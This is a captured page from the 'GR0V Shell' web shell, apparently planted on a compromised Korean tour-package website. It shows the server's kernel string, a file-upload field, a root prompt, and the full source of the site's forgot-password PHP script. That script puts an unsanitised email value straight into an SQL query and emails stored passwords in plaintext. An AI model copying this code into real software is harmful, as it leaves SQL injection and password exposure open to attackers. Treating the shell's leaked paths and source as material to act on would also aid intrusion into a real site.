? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/include/class_mail/
File Upload :
Current File : /home/admin/public_html/include/class_mail/send_forgot_password.php

<?php
session_start();
//ini_set("SMTP","classic.asianet.co.th");
include("../../backend/config.php");
include("../../includes/mysql.php");
$db_tm = new sql_db($dbhost, $dbuser, $dbpasswd, $dbname, false);
$to=$email;
$headers = "From: happykoreamall.com  <info@happykoreamall.com>  \r\n";
$headers  .= 'MIME-Version: 1.1' . "\r\n";
$headers .= 'Content-type: text/html; charset=utf-8' . "\r\n";
if( isset($_POST['Submit'])) {
   if( $_SESSION['security_code'] == $_POST['security_code'] && !empty($_SESSION['security_code'] ) ) {
		unset($_SESSION['security_code']);
		$result_chk_mail=$db_tm->sql_query("SELECT * FROM member WHERE member.email =  '".$email."'");
		$num_chk_mail=$db_tm->sql_numrows($result_chk_mail);
		if($num_chk_mail==1){
			$rows_chk_mail=$db_tm->sql_fetchrow($result_chk_mail);
			$body="<html><head><title></title>";
			$body.="<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">";
			$body.="<style type=\"text/css\">";
			$body.="<!--";
			$body.="body {";
			$body.="	font-family: Verdana;";
			$body.="	font-weight: bold;";
			$body.="	font-size: 10px;";
			$body.="	color: #666666;";
			$body.="}";
			$body.=".style1 {";
			$body.="	font-family: Verdana;";
			$body.="	font-weight: bold;";
			$body.="	font-size: 10px;";
			$body.="	color: #666666;";
			$body.="}";
			$body.="-->";
			$body.="</style>";
			$body.="</head><body><table width=\"400\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">";
			$body.="  <tr>";
			$body.="    <td colspan=\"2\" align=\"center\"><span class=\"style1\">ลืมรหัสผ่านจาก HAPPYKOREAMALL.COM </span><BR><hr noshade></td>";
			$body.="  </tr>";
			$body.="  <tr>";
			$body.="    <td width=\"141\" align=\"right\" class=\"style1\" style=\"background-color: '#CCCCCC'; padding-Right: 3px;\">Date/Time :</td>";
			$body.="    <td width=\"259\" class=\"style1\">".date("j M Y H:i",mktime( date("H"), date("i") ))."</td>";
			$body.="  </tr>";
			$body.="  <tr>";
			$body.="    <td class=\"style1\" align=\"right\" style=\"background-color: '#CCCCCC'; padding-Right: 3px;\">IP Address :</td>";
			$body.="    <td class=\"style1\">".getenv("REMOTE_ADDR")."</td>";
			$body.="  </tr>";
			$body.="  <tr>";
			$body.="    <td class=\"style1\" align=\"right\" style=\"background-color: '#CCCCCC'; padding-Right: 3px;\">ชื่อผู้ใช้ :</td>";
			$body.="    <td class=\"style1\">".$rows_chk_mail["login_name"]."</td>";
			$body.="  </tr>";
			$body.="  <tr>";
			$body.="    <td class=\"style1\" align=\"right\" style=\"background-color: '#CCCCCC'; padding-Right: 3px;\">รหัสผ่าน :</td>";
			$body.="    <td class=\"style1\">".$rows_chk_mail["member_password"]."</td>";
			$body.="  </tr>";
			$body.="  <tr>";
			$body.="    <td colspan=\"2\" align=\"center\"><hr noshade></td>";
			$body.="  </tr>";
			$body.="</table></body></html>";
			if(mail($to, "ลืมรหัสผ่าน : happykoreamall.com", $body, $headers))
			{
				$txt_msg_err= "ระบบได้ส่งข้อมูลไปยัง E-mail ของท่านแล้ว.";
			}else{
				$txt_msg_err= "ระบบการส่งข้อมูลมีปัญหา กรุณาลองส่งใหม่ดูอีกครั้ง.";
			}
		}else{
			$txt_msg_err='ไม่มี E-mail นี้อยู่ในระบบ...';
		}   
   } else {
	   $txt_msg_err='ใส่รหัสไม่ถูกต้องกรุณากรอกใหม่...';
   }
}
echo '<script>document.location.href=\'../../forgot_password.php?chk_msg=sec_code_err&txt_msg_err='.$txt_msg_err.'\';</script>'
?>

T1KUS90T
  root-grov@210.1.60.28:~$